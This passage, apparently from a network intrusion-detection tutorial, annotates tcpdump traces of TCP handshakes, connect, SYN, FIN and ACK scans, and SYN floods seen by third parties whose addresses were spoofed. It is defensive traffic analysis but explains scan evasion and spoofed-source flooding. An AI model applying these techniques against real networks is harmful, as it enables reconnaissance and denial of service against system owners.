      "1484414:1484414(0)" means the sending TCP stack is setting 1484414 as the 
      initial synchronization number (ISN), and "0" (no) data is being passed in
      this packet. Although the numbers before and after the colon (:) are the
      same for this packet, in later packets they will be different and will have 
      explanatory value. Richard Stevens (TCP/IP Vol 1 p. 231) explains the format:
    
      sequence number:implied ending sequence number (data)
    
      However, as our traces will demonstrate, the format seems to be:
    
      sequence number of first byte in packet:sequence number of first 
      byte in NEXT packet (data)
    
      TCPDump will only display the number:number (data) information for 
      packets with more than 0 bytes of data or those setting the SYN, FIN, or RST 
      flags. 
    
      Our initiating IP uses the ISN to begin counting bytes in the packets it 
      sends to ftp.server.edu. Tracking the synchronization number used by the 
      first observed packet may help identify malicious activity. Some tools use 
      default synchronization numbers. In certain packets shown later, we see a 
      host ACK 674719802 and 674711610; we assume they are responses to ISNs of 
      674719801 and 676711609 from an initiating hosts SYN packet.
    
      Of interest are the TCP available window size of 8192 bytes, the 
      maximum segment size of 536 bytes, two "nop" options, and the "DF," or "dont 
      fragment" option. The TCP window is a flow control mechanism which allows
      the sender to transmit multiple packets before stopping to wait for
      acknowledgements. Here ftp.client.org is advertising its window size of
      8192 bytes to ftp.server.edu. Next, maximum segment size is advertised by
      the ftp client as 536 bytes. This is the largest collection of data which
      ftp.client.org will attempt to send to the ftp server. Note this is only
      the size of the data payload, as the TCP and IP headers must still be added
      to the packet. Following are two "nop" options, which denote "no option."
      They are present to help ftp.client.org "pad" its TCP header to form four-
      byte fields. In this case, the MSS occupies four bytes (one byte for 
      "kind=2," one byte for "len=4," and two bytes for the actual MSS value). 
      "sackOK" denotes acceptance by the ftp client of the "selective 
      acknowledgement" option, described in RFC 2018. Selective acknowledgement 
      is a method allowing the data receiver to tell the sender which segments 
      arrived successfully. This lets the sender retransmit only lost packets, in
      an attempt to improve upon TCPs cumulative acknowledgement process. Since
      this option occupies two bytes (one byte for "kind=4" and another for 
      "len=2"), the two single-byte "nop" options round out the fields to two
      even four-byte sections. (The four byte value is significant, as it is the
      "width" of the standard TCP header.) Finally, the presence of DF, an IP 
      option, shows the ftp.client.org is asking the ftp server not to fragment 
      its packets.
    
      While innocent in this first packet, these options may be worth
      studying in other traces. You may see traffic scattered across several NIDS
      with little in common but the window sizes, maximum segments sizes, or other
      options. While certainly not indicative individually, taken collectively
      such clues might help correlate related events. (Although no data is
      passed in this packet, we will encounter a trace which attempts to send
      64 bytes of data to another host. While unusual, it is not illegal per
      the TCP RFCs, and makes an excellent signature identifying element!)
    
      2. 14:05:27.250587 ftp.server.edu.21 > ftp.client.org.1057:
      S 3037133697:3037133697(0) ack 1484415 win 9112 <mss 536> (DF)
    
      The second packet is the ftp servers response, setting its own initial
      sequence number (actually an "initial response number") as 3037133697. The
      ftp server acknowledges our clients ISN by setting its "ack" flag and 
      associating it with 1484415, which is the next sequence number it expects 
      from the client, or essentially ISN + 1. The first byte of data sent by the
      client will be number 1484415. Notice we have used one sequence number
      already, 1484414, without sending any data. This "waste" of a sequence
      number will not be repeated, as all other sequence numbers will be used to
      indicate specific bytes sent during the TCP exchange.
    
      Observe the different window and maximum segment sizes for the 
      ftp server (i.e., 9112 bytes and 536 bytes, respectively), compared to the 
      client system. While innocent here, they might help identify a scan or tool
      signature, since many packet-forging scripts will set these values manually.
      Notice that since the MSS option occupies four bytes by itself, no "nop" byte
      padders are needed.
    
      3. 14:05:27.259810 ftp.client.org.1057 > ftp.server.edu.21:
      . ack 1 win 8576 (DF)
    
      The third packet concludes the TCP three-way handshake with an
      acknowledgment by the client of the ftp servers initial response number. 
      Note that this trace does not employ the TCPDumps -S option, which outputs
      absolute sequence numbers for each packet. These traces use relative sequence
      numbers, which make it easier to track the number of bytes passed. For
      example, packet three shows an "ack 1", with the 1 being the difference 
      between the clients initial sequence number and the sequence number of packet
      three. In other words, the -S option would have printed 3037133698 here.
      Remember, the purpose of an ACK is to help track bytes exchanged. By ACKing
      3037133698, (or 1 in relative terms), the client is telling the server "I
      expect the first byte you send me to be number 3037133698 (or 1 in relative
      terms.) The "." means no flags are set. 
    
      (If the sequence number issue still puzzles you, the appendix includes a 
      trace where absolute sequence numbers were used.)
    
      4. 14:05:27.402888 ftp.server.edu.47309 > ftp.client.org.113:
      S 3037242401:3037242401(0) win 8760 <mss 1460> (DF)
      5. 14:05:27.412512 ftp.client.org.113 > ftp.server.edu.47309:
      R 0:0(0) ack 3037242402 win 0
    
      Packets four and five present an opportunity to discuss closed ports. 
      The ftp server is attempt to use port 40739 connect to the client machines 
      port 113 (auth), for authentication purposes. Since the clients port 113
      is closed, it responds with a reset "R", and acknowledges the servers
      sequence number 3037242401 by adding one to it, to make 3037242402. The
      server does not respond, since there is no need per the RFC. (A RST 
      should never be ACKed.)
    
      Data exchange follows with packets six and higher. I have deleted 
      packets eight through fourteen, because they do not add anything new to our 
      discussion.
    
      15. 14:05:35.774099 ftp.client.org.1057 > ftp.server.edu.21:
      P 31:37(6) ack 183 win 8394 (DF)
      16. 14:05:35.895233 ftp.server.edu.21 > ftp.client.org.1057:
      P 183:197(14) ack 37 win 9112 (DF) [tos 0x10]
    
      Packets fifteen and sixteen are later stages of data transfer. Note
      the "P", or "push" flag. This tells the ftp server to "push" its queue of
      packets stored in the TCP/IP stack directly to the application above. The
      push from the ftp server to the ftp client in packet sixteen tells the ftp
      client to push its queue of packets up its stack, to the client application.
      The information "pushed" consists of all data in the segment containing the
      push flag, plus any data stored in the receiving TCP buffer. The presence
      of this flag is normal for an interactive session, such as a ftp connection.
      It may represent a command sent by the client; as the client usually waits
      for the servers response, it is logical for the client to request rapid
      processing of all data stored in the servers TCP buffer.
    
      Although not seen in this paper, one may encounter the URG or 
      "urgent" flag in other traces. This flag tells the receiving TCP stack
      that "urgent" data is present, and leaves the receiver to interpret it as
      it wishes. The telnet and rlogin applications typically use this flag to
      signal transmission of the interrupt key, while ftp uses urgent to signal
      aborting file transfer.
    
      Packet sixteen conclude with the IP option "type of service," shown 
      as [tos 0x10]. This particular value means "minimize delay." Other
      possible values are maximize throughput, maximize reliability, and minimize
      monetary cost, all of which are beyond the scope of this paper.
    
      Turning back to data flow, packet fifteen shows the ftp client 
      sending 6 bytes of data, with a relative sequence number showing 36 total 
      bytes sent during the entire TCP conversation. The next set of bytes sent 
      to the server will begin with number 37. Here we see this format at work:
    
      sequence number of first byte in packet:sequence number of first 
      byte in NEXT packet (data)
    
      In packet 15 the client sent bytes 31, 32, 33, 34, 35, and 36, and 
      will send 37 next. By ACKing 183, the ftp client acknowledges receipt of 
      182 bytes from the server, and says it expects the next data from the server
      to begin with byte 183.
    
      Packet sixteen shows the ftp server sending 14 bytes and acknowledging
      receipt of 36 bytes from the client, while expecting byte 37 next.
    
      17. 14:05:35.903492 ftp.server.edu.21 > ftp.client.org.1057:
      F 197:197(0) ack 37 win 9112 (DF) [tos 0x10]
      18. 14:05:35.906748 ftp.client.org.1057 > ftp.server.edu.21:
      . ack 198 win 8380 (DF)
      19. 14:05:35.917049 ftp.client.org.1057 > ftp.server.edu.21:
      F 37:37(0) ack 198 win 8380 (DF)
      20. ?
    
      Packet seventeen begins the process of closing the connection in
      a graceful manner, and introduces another TCP header flag. (Richard Stevens
      calls this "orderly release." In contrast, "abortive release" is the abrupt
      termination of a TCP connection, as caused by a host shutting down or loss 
      of connectivity.) The server sends a packet with the F or "FIN" flag sent, 
      indicating it has no more data to send to the client. The server also 
      acknowledges the last byte sent by the client (37-1=36), and shows it has 
      sent all bytes needed with the 37:37 (0) value. 
    
      Packet eighteen demonstrates that the session does not close 
      gracefully until both sides agree. Here, the client acknowledges the 
      servers FIN request. The client then sends its own FIN. According to 
      Richard Stevens, we should see one last packet (number 20) from the server 
      to the client, where the server acknowledges the clients FIN. We do not 
      see that packet in this trace, which can remind us that some events do not 
      correspond exactly to the logical models which we follow. I imagine that 
      the packet was lost, or that the TCPDump ended abruptly.
    
      Many of the traces in this paper and most scanning activity does not
      observe this graceful close process, and instead uses resets from the source
      host. This process is demonstrated below.
    
      1. 11:48:02.545940 dialup.modem.net.1092 > 206.61.52.32.119:
      S 436537:436537(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      2. 11:48:02.774748 host.news.org.119 > dialup.modem.net.1092:
      S 4231438324:4231438324(0) ack 436538 win 0
      3. 11:48:02.784542 dialup.modem.net.1092 > host.news.org.119:
      . ack 1 win 8576 (DF)
      4. 11:48:02.952477 host.news.org.119 > dialup.modem.net.1092: 
      R 1:1(0) ack 1 win 0
    
      Lines one to three are the standard three-way handshake associated with
      normal TCP connections. Line four, however shows the R or RST (reset) flag.
      This is a request by host.news.org to immediately reset the connection
      between itself and dialup.modem.net. No acknowledgement by dialup.modem.net
      occurs and none is required by the RFCs. Resets will be seen in upcoming
      traces quite often.
    
      [ Let the Tracing Begin! ]
    
      Lets start looking at malicious network activity by examining a scan
      which obeys TCPs three-way handshake -- the plain TCP connect () scan. This
      scan type is old but will provide a baseline for some of the later traces. 
      Any intrusion detection system should log this activity. (Whether the
      analyst reacts to it may be another matter!)
    
      11:56:20.442740 connect.scanner.net.1141 > victim.cablemodem.com.21: 
      S 929641:929641(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      11:56:21.191786 victim.cablemodem.com.21 > connect.scanner.net.1141:
      S 779881634:779881634(0) ack 929642 win 8576 <mss 1460> (DF)
      11:56:21.201490 connect.scanner.net.1141 > victim.cablemodem.com.21:
      . ack 1 win 8576 (DF)
    
      11:56:23.954930 connect.scanner.net.1144 > victim.cablemodem.com.37:
      S 932103:932103(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      11:56:24.647238 victim.cablemodem.com.37 > connect.scanner.net.1144:
      R 0:0(0) ack 1 win 0
    
      The first trace shows a successful three-way handshake between 
      the scanning host and the unsuspecting victim; this means port 21 (ftp)
      is open. The second trace shows the scanners SYN being met by a 
      reset, meaning port 37 (time) is closed on the victims machine.
    
      Contrast that activity with the traces below.
    
      10:22:45.030552 half.scanner.net.49724 > victim.cablemodem.com.21:
      S 2421827136:2421827136(0)
      10:22:45.030552 victim.cablemodem.com.21 > half.scanner.net.49724:
      S 4046313668:4046313668(0) ack 2421827137
      10:22:45.030552 half.scanner.net.49724 > victim.cablemodem.com.21:
      R 2421827137:2421827137(0)
    
      10:22:45.050552 half.scanner.net.49724 > victim.cablemodem.com.37:
      S 2418821749:2418821749(0)
      10:22:45.050552 victim.cablemodem.com.37 > half.scanner.net.49724:
      R 0:0(0) ack 2418821750
    
      This is a TCP SYN, or "half connect ()" scan. The scanner sends
      a reset to any port reported as open by the victim, rather than continue 
      with the three-way handshake. The original purpose of this scan was to 
      evade a NIDS which only logged connections completing the three-way 
      handshake, like the TCP connect () scan. All newer NIDS should catch 
      this activity.
    
      In an effort to evade newer NIDS, some scanner programmers have tried
      other tactics. Consider this trace:
    
      21:00:04.099626 snap 0:0:0:8:0 scanner.net.53 > host152.victim.org.21:
      F 0:0(0) win 4096 (ttl 58, id 63232)
      21:00:45.049644 snap 0:0:0:8:0 scanner.net.53 > host2.victim.org.21:
      F 0:0(0) win 3072 (ttl 49, id 38965)
      21:00:51.064263 snap 0:0:0:8:0 scanner.net.53 > host2.victim.org.21:
      F 0:0(0) win 3072 (ttl 49, id 48301)
      21:03:59.711106 snap 0:0:0:8:0 scanner.net.53 > host201.victim.org.21:
      F 0:0(0) win 2048 (ttl 48, id 55097)
      21:04:05.738307 snap 0:0:0:8:0 scanner.net.53 > host201.victim.org.21:
      F 0:0(0) win 2048 (ttl 48, id 50715)
      21:05:10.399065 snap 0:0:0:8:0 scanner.net.53 > host202.victim.org.21:
      F 0:0(0) win 3072 (ttl 49, id 32642)
      21:05:16.429001 snap 0:0:0:8:0 scanner.net.53 > host202.victim.org.21:
      F 0:0(0) win 3072 (ttl 49, id 31501)
      21:06:03.724675 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21:
      F 0:0(0) win 4096 (ttl 54, id 340)
      21:09:12.202997 snap 0:0:0:8:0 scanner.net.53 > host24.victim.org.21:
      F 0:0(0) win 2048 (ttl 52, id 47689)
      21:09:18.215642 snap 0:0:0:8:0 scanner.net.53 > host24.victim.org.21:
      F 0:0(0) win 2048 (ttl 52, id 26723)
      21:10:22.664153 snap 0:0:0:8:0 scanner.net.53 > host3.victim.org.21:
      F 0:0(0) win 3072 (ttl 53, id 24838)
      21:10:28.691982 snap 0:0:0:8:0 scanner.net.53 > host3.victim.org.21:
      F 0:0(0) win 3072 (ttl 53, id 25257)
      21:11:10.213615 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21:
      F 0:0(0) win 4096 (ttl 58, id 61907)
      21:11:10.227485 snap 0:0:0:8:0 host102.victim.org.21 > scanner.net.53:
      R 0:0(0) ack 4294947297 win 0 (ttl 25, id 38400)
      21:14:24.649413 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21:
      F 0:0(0) win 3072 (ttl 57, id 57333)
      21:14:30.680740 snap 0:0:0:8:0 scanner.net.53 > host52.victim.org.21:
      F 0:0(0) win 3072 (ttl 57, id 30463)
      21:15:34.924834 snap 0:0:0:8:0 scanner.net.53 > host53.victim.org.21:
      F 0:0(0) win 3072 (ttl 57, id 60600)
      21:15:40.946466 snap 0:0:0:8:0 scanner.net.53 > host53.victim.org.21:
      F 0:0(0) win 3072 (ttl 57, id 47454)
      21:16:10.506971 snap 0:0:0:8:0 scanner.net.53 > host152.victim.org.21:
      F 0:0(0) win 1024 (ttl 51, id 59265)
      21:19:37.124542 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21:
      F 0:0(0) win 1024 (ttl 47, id 43025)
      21:19:43.127165 snap 0:0:0:8:0 scanner.net.53 > host102.victim.org.21:
      F 0:0(0) win 1024 (ttl 47, id 24937)
    
      First, note this trace was produced using TCPDumps verbose option,
      where "snap 0:0:0:8:0" refers to the subnetwork access protocol. SNAP is a
      method of differentiating between non-OSI network layer protocols. "0:0:0"
      represents a three-byte organizational unit identifier, which for TCP/IP is
      0x0. "8:0" represents a two-byte Ethertype, which for Ethernet is 0x800. 
      (Looking at the SNAP byte-by-byte, we have the OUI as 0x0 : 0x0 : 0x0, with
      the Ethertype being 0x08 : 0x0.) 
    
      Lets look at this activity systematically, beginning with IPs:
    
      - IPs: We see traffic from scanner.net to multiple hosts on the victim.org
      domain. scanner.net seems to be walking up the subnet. Generally, each
      IP on the subnet is probed twice.
    
      - Ports: The originating IP sends packets from port 53 (dns) to port 21 (ftp)
      on each system. Activity to TCP port 53 can usually be associated with
      DNS zone transfers or other resolution processes. (For example, responses to
      DNS queries via UDP cannot exceed 512 bytes. If the response is more than
      512 bytes, a connection via TCP must be established. Therefore, legitimate
      DNS information exchange can occur over TCP channels.) The ftp port would be 
      an attractive target, especially if the scanner is looking for an ftp server
      with anonymous logins.
    
      - Flags: Most of the packets have the FIN flag set. This is not normal
      behavior. Unlike some of the activity we will discuss below, we cannot
      envision a network event which would generate these packets as an appropriate
      response. Therefore, they must have been specially crafted.
    
      - Traffic direction/activity: Every packet save one is a FIN sent from
      scanner.net to a target host. The only difference is the R ACK reply by 
      host102.victim.org. This indicates port 21 is open on this host. The lack of a
      reply by any other host shows their ftp ports are closed.
    
      - Time: This is not an especially fast scan, since only 21 packets were sent
      during a 19 second span. Nevertheless, this is undoubtedly an automated
      event.
    
      - Window size, TTL, and other features: Several other characteristics 
      deserve attention. Window size values are 1024, 2048, 3072, and 4096 bytes for
      various packets. TTLs vary from 47 to 58, which is a wide margin. The IP
      ID numbers also vary, without apparent regularity. While it is difficult to
      discern patterns in this case, other traces may yield more recognizable 
      results. (Thank you to Judy Novak for pointing out these features.)
    
      - Bottom line: This event was a FIN scan, designed to evade some NIDS, which
      found an open ftp port at host102.victim.org. I recommend considering these
      factors when making judgments about any network event you investigate.
    
      Consider this traffic:
    
      22:08:33.913622 cable.modem.net.23 > dns.one.org.23:
      . ack 499410217 win 1028 (ttl 30, id 39426)
      22:08:33.915481 dns.one.org.23 > cable.modem.net.23:
      R 499410217:499410217(0) win 0 (ttl 254, id 34512)
      22:08:33.954076 cable.modem.net.23 > dns.two.org.23:
      . ack 499410217 win 1028 (ttl 0, id 39426)
      22:08:33.955461 dns.two.org.23 > cable.modem.net.23:
      R 499410217:499410217(0) win 0 (ttl 254, id 5962)
      22:08:33.982753 cable.modem.net.143 > dns.one.org.143:
      . ack 499410217 win 1028 (ttl 30, id 39426)
      22:08:33.983904 dns.one.org.143 > cable.modem.net.143:
      R 499410217:499410217(0) win 0 (ttl 254, id 34514)
      22:08:34.061121 cable.modem.net.143 > dns.two.org.143:
      . ack 499410217 win 1028 (ttl 30, id 39426)
      22:08:34.064069 dns.two.org.143 > cable.modem.net.143:
      R 499410217:499410217(0) win 0 (ttl 254, id 5967)
    
      22:08:39.161874 cable.modem.net.1146 > dns.two.org.23:
      S 2585837477:2585837477(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 770)
      22:08:39.170887 cable.modem.net.1147 > dns.two.org.143:
      S 2585589580:2585589580(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 771)
      22:08:39.182221 cable.modem.net.1149 > dns.two.org.111:
      S 2583756762:2583756762(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 773)
      22:08:39.183010 cable.modem.net.1151 > dns.two.org.79:
      S 2588862233:2588862233(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 775)
      22:08:39.190551 cable.modem.net.1152 > dns.two.org.53:
      S 2590571910:2590571910(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 776)
      22:08:39.212060 cable.modem.net.1153 > dns.two.org.31337:
      S 2585840391:2585840391(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 777)
      22:08:39.224956 cable.modem.net.1157 > dns.two.org.21:
      S 2585906418:2585906418(0) win 16324 <mss 1484,sackOK,timestamp
      50637 0,nop,wscale 0> (DF) (ttl 52, id 781)
    
      22:08:39.261488 cable.modem.net.1162 > dns.one.org.23:
      S 2589761527:2589761527(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 786)
      22:08:39.264445 cable.modem.net.1163 > dns.one.org.143:
      S 2588328359:2588328359(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 787)
      22:08:39.292663 cable.modem.net.1165 > dns.one.org.111:
      S 2590160130:2590160130(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 789)
      22:08:39.305784 cable.modem.net.1167 > dns.one.org.79:
      S 2594918730:2594918730(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 791)
      22:08:39.307131 cable.modem.net.1168 > dns.one.org.53:
      S 2582494230:2582494230(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 792)
      22:08:39.307209 cable.modem.net.1169 > dns.one.org.31337:
      S 2590958670:2590958670(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 793)
      22:08:39.344336 cable.modem.net.1173 > dns.one.org.21:
      S 2593455289:2593455289(0) win 16324 <mss 1484,sackOK,timestamp
      50638 0,nop,wscale 0> (DF) (ttl 52, id 797)
    
      Again, systematically:
    
      - IPs: cable.modem.net is concentrating on two hosts we monitor: dns.one.org
      and dns.two.org. Although not shown, each host is hit with the second set 
      of SYN packets three total times.
    
      - Ports: The first half of the activity targets tcp ports 23 (telnet) 
      and 143 (imap). The second half involves those ports plus 111 (SUN Remote 
      Procedure Call, or portmapper), 79 (finger), 53 (dns), 31337 (Back Orifice
      tcp port), and 21 (ftp). All are of use to a potential intruder. Of more
      interest, perhaps, are the source ports involved. Note the stealthy nature
      of the first stage, where source port is set to destination port, in an
      attempt to confuse packet-filtering devices. The second stage is less
      cunning, but more analyst-friendly. Observe the orderly incrementation of
      ports used to contact dns.two.org, starting with 1146, then 1147, then 1149.
      Where is 1148? Most likely this packet was destined for a port not 
      monitored by our NIDS. It was probably not lost, as the traffic to 
      dns.two.org shows. Here, we see source port 1162, then 1163, then 1165
      (another port missing!) Using this "gap-counting" technique, we can 
      assume packets were sent to at least four ports not watched by our NIDS.
      This does not count the four "missing" ports between port 781 and 786,
      where attention shifts from dns.two.org to dns.one.org!
    
      - Flags: The first half of the event involves no flags set, with RST ACK
      packets sent back from the targets. These initial packets do not occur
      naturally unless a preceeded by the SYN / SYN ACK exchange of the three
      way handshake. The RST ACK packets are assumed to be returned from
      closed ports, as an open port would usually remain silent. (This is the
      default for the Linux TCP/IP stack, as documented by Vicki Irwin and Hal
      Pomeranz. Your mileage may vary.) Interestingly, the second half of the
      event shows only SYN packets sent, with zero replies. This may indicate
      the cablem.modem.nets initial packets, with the ACK bit set, 
      successfully evaded a packet filtering device. This device, however,
      probably intercepted the later packets with the SYN bit set.
    
      - Traffic direction/activity: All traffic seems to involve a prompt by
      cable.modem.net, followed by an indication that the target ports are
      closed.
    
      - Time: The entire event elapses in six seconds, with an apparent five
      second delay between the ACK and SYN stages.
    
      - Window size, TTL, and other features: We see a wide variance between the
      TTL 30 of stage one and TTL 52 of stage two. As these packets presumably 
      come from the same host, we assume the tool generate the packets sets
      initially TTLs differently for each technique. Stage one shows IP id
      values each forged to be 39426. This may provide a signature clue for
      future encounters with this tool. The IP id values increment nicely in 
      stage two, matching the TCP port technique mentioned earlier. Window
      sizes for stage one (1028) contrast strongly with stage two (16324).
    
      - Bottom line: We appear to have an ACK scan combined with some sort of SYN
      scan. The packet filtering device which allows ACK packets but prevents 
      answers to the SYN packets keeps us from knowing more about stage two. This
      case emphasizes the need to understand the operation of your IDS, as it 
      helped us to recognize the port "gaps" and their possible relevance to our
      investigation.
    
      [ To Flood or Not to Flood ]
    
      Now we turn to a core issue of this paper -- the SYN flood. Anyone
      unfamiliar with SYN floods would greatly benefit by reading Routes definitive
      work on the subject in Phrack 48. Essentially, a SYN flood is a denial of
      service attempt, where an attacker attempts to fill the backlog queue of a 
      victim machines TCP server. To prevent the victim from tearing down these
      memory-consuming connections, the attacker spoofs a source IP, choosing one
      which presumably does not exist. The victim of a properly executed SYN flood
      cannot reply to the spoofed source. An attacker might take these actions to 
      attempt a TCP hijack, as Kevin Mitnick did against the login port of a 
      machine owned by Tsutomu Shimomura. By shutting down the TCP service of a
      host trusted by Shimomura, Mitnick was able to impersonate that host without
      it interfering in his communications with Shimomuras box.
    
      A SYN flood consists of dozens of SYN packets sent from a spoofed source
      IP, or multiple spoofed source IPs, to a victim. Note the high frequency of
      packets sent:
    
      11:46:14.212003 spoofed.ip.one.1053 > flood.victim.com.23:
      S 322286:322286(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      11:46:14.598008 spoofed.ip.one.1054 > flood.victim.com.23:
      S 322286:322286(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      11:46:14.975522 spoofed.ip.one.1055 > flood.victim.com.23:
      S 322286:322286(0) win 8192 <mss 536,nop,nop,sackOK> (DF)
      etc...
    
      The desperate victim tries to reply to the spoofed source IP. If the
      spoofed host truly does not exist, the victim is out of luck. But what if the 
      spoofed source does exist? Below is what an intrusion detection analyst at a
      site owning the spoofed IP might see, if the target port is open and behaves
      as traditionally expected:
    
      11:46:14.765043 flood.victim.com.23 > spoofed.ip.one.1053:
      S 4137483508:4137483508(0) ack 322287 win 8192 <mss 1460>
      11:46:14.891108 flood.victim.com.23 > spoofed.ip.one.1054:
      S 4164828806:4164828806(0) ack 322287 win 8192 <mss 1460>
      11:46:15.019029 flood.victim.com.23 > spoofed.ip.one.1055:
      S 4192020032:4192020032(0) ack 322287 win 8192 <mss 1460>
      etc...
    
      Why would an you, an innocent bystander, witness such an act? 
      The answer is: you own spoofed.ip.one, which may or may not exist! Why 
      would anyone spoof your IPs? (Hint: do your routers or firewalls block ICMP?)
      In most cases, SYN flood utilities allow the attacker to select a range of 
      IPs for the spoofed source, or it will generate its own list. The utility 
      will ping that range, trying to determine if any hosts exist. If no ICMP echo
      replies are heard, the SYN flood program assumes the IPs do not exist and are 
      ideal spoofed sources. However, if those IPs belong to hosts behind a router 
      or firewall denying ICMP, they will not respond to the ICMP echo request. This 
      "flaw" in choosing good IPs to spoof cause much of the so-called "third party"
      traffic in this paper. Essentially, the site you monitor may become a third 
      party to a SYN flood, by virtue of having blocked ICMP.
    
      The preceeding example appears straightforward. A single IP is spoofed, 
      and the sender increments his source ports in an orderly manner (1053,
      1054, 1055). The trace as seen by the innocent bystander shows the flood
      victims open port 23 replying with SYN ACK packets, in an attempt to establish
      a TCP three-way handshake. What happens if the target port of a SYN flood is
      closed? The following was confirmed as a SYN flood by the author, who observed
      the traffic, contacted victim.isp.net, and learned the ISP was indeed SYN
      flooded on the date and time in question.
    
      20:31:15.794717 victim.isp.net.68 > spoofed.ip.one.29470:
      R 0:0(0) ack 723645348 win 0 (ttl 242, id 40923)
      20:31:20.190800 victim.isp.net.68 > spoofed.ip.one.48926:
      R 0:0(0) ack 960212644 win 0 (ttl 242, id 56829)
      20:31:24.622496 victim.isp.net.68 > spoofed.ip.one.2846:
      R 0:0(0) ack 1196779940 win 0 (ttl 242, id 7276)
      20:31:37.634797 victim.isp.net.68 > spoofed.ip.one.61214:
      R 0:0(0) ack 1906481828 win 0 (ttl 242, id 54177)
      20:31:42.021607 victim.isp.net.68 > spoofed.ip.one.15134:
      R 0:0(0) ack 2143049124 win 0 (ttl 242, id 4485)
    
      20:31:17.754903 victim.isp.net.77 > spoofed.ip.two.44376:
      R 0:0(0) ack 1861342051 win 0 (ttl 242, id 25377)
      20:31:22.054453 victim.isp.net.77 > spoofed.ip.two.13400:
      R 0:0(0) ack 454770019 win 0 (ttl 242, id 40905)
      20:31:26.394198 victim.isp.net.77 > spoofed.ip.two.47960:
      R 0:0(0) ack 1195681635 win 0 (ttl 242, id 56409)
      20:31:39.370211 victim.isp.net.77 > spoofed.ip.two.20568:
      R 0:0(0) ack 1270932835 win 0 (ttl 242, id 38330)
      20:31:43.735814 victim.isp.net.77 > spoofed.ip.two.55128:
      R 0:0(0) ack 2011844451 win 0 (ttl 242, id 54069)
    
      Here we see a SYN flood directed against two closed ports, 68 (boot-p)
      and 77 (RJE private service). (Although many other ports were targetted,
      these two are shown as examples. Since spoofed.ip.one and 
      spoofed.ip.two occupied separate class C networks, I chose to separate the
      two traces.) Observe the two closed ports return RST ACK packets to the
      spoofed source IPs. The ACK numbers appear random, as do the ports of the
      two spoofed IPs. Furthermore, a fairly high packet rate is seen. This
      may not always be true from the vantage point of the intrusion detection
      analyst. If the SYN flood tool does not spoof IPs which are all monitored
      by your IDS, you may not get a complete picture of the event. (And, from
      the perspective of the victim, more than one organization appears to be
      the originator of the attack!) For example:
    
      05:23:07.968535 victim.isp.net.22 > spoofed.ip.one.10180:
      R 0:0(0) ack 1 win 0 (ttl 53, id 57295)
      05:23:55.594577 victim.isp.net.23 > spoofed.ip.two.64876:
      R 0:0(0) ack 1 win 0 (ttl 53, id 62163)
      05:27:36.116580 victim.isp.net.23 > spoofed.ip.three.48279:
      R 0:0(0) ack 1 win 0 ttl 53, id 18796)
      05:32:34.963053 victim.isp.net.23 > spoofed.ip.four.55483:
      R 0:0(0) ack 1 win 0 (ttl 53, id 48851)
      05:33:01.308930 victim.isp.net.23 > spoofed.ip.five.48412:
      R 0:0(0) ack 1 win 0 (ttl 53, id 51512)
      05:35:12.400935 victim.isp.net.22 > spoofed.ip.six.57306:
      R 0:0(0) ack 1 win 0 (ttl 53, id 64704)
      05:36:40.823582 victim.isp.net.22 > spoofed.ip.seven.46819:
      R 0:0(0) ack 1 win 0 (ttl 53, id 8090)
      05:38:50.740540 victim.isp.net.23 > spoofed.ip.eight.29217:
      R 0:0(0) ack 1 win 0 (ttl 53, id 21089)
    
      This trace shows several seconds elapsing between each packet as a
      malicious Internet user spoofs our IPs, SYN flooding ports 22 (ssh) and 23
      (telnet) at victim.isp.net. Given the time delay, it is reasonable to assume
      the attacker is also spoofing IPs not monitored by our IDS, and could be
      truly pounding the victim.
    
      [ ACK 674711610 and 674719802: The Mystery Tool? ]
    
      The following cases involve specific signatures which many of you may
      recognize. Steven Northcutt notes two acknowledgement numbers which he 
      believes characterize a tool which conducts "reset scans." (For my take on the
      subject, see "To See or Not to See" below.) Here I outline two confirmed cases
      showing the 674711610 and 674719802 acknowledgement numbers as third party 
      effects of SYN floods.
    
      Observe the following trace:
    
      06:20:51.570058 firstclass.server.edu.510 > spoofed.ip.one.7002:
      R 0:0(0) ack 674711610 win 0 (ttl 116, id 48680)
      23:30:53.567215 firstclass.server.edu.510 > spoofed.ip.two.32771:
      R 0:0(0) ack 674711610 win 0 (ttl 117, id 25440)
      13:55:27.737433 firstclass.server.edu.510 > spoofed.ip.three.6666:
      R 0:0(0) ack 674711610 win 0 (ttl 118, id 54468)
    
      This trace seemed to conform to the model of a third party effect
      of a SYN flood. However, there is an extreme delay in the time between packets.
      This could be the result of a wide variety of spoofed sources, and I saw only a 
      few. I guessed firstclass.server.edu to be a target host. These packets looked
      like responses, where port 510 was closed, or at least some mechanism was in 
      place to resist a SYN flood. These three packets are a sample of the total 
      traffic collected.
    
      Researching port 510, I found it is the "firstclass" service,
      registered by SoftArc. SoftArc sells a product called the FirstClass Intranet
      Server, which can provide email, collaboration, and other services. The source
      IP belonged to a university, and the hostname resolution included the word
      "firstclass." It seemed that if a malicious Internet user wanted to perform
      a denial of service against this university, it might make sense to target 
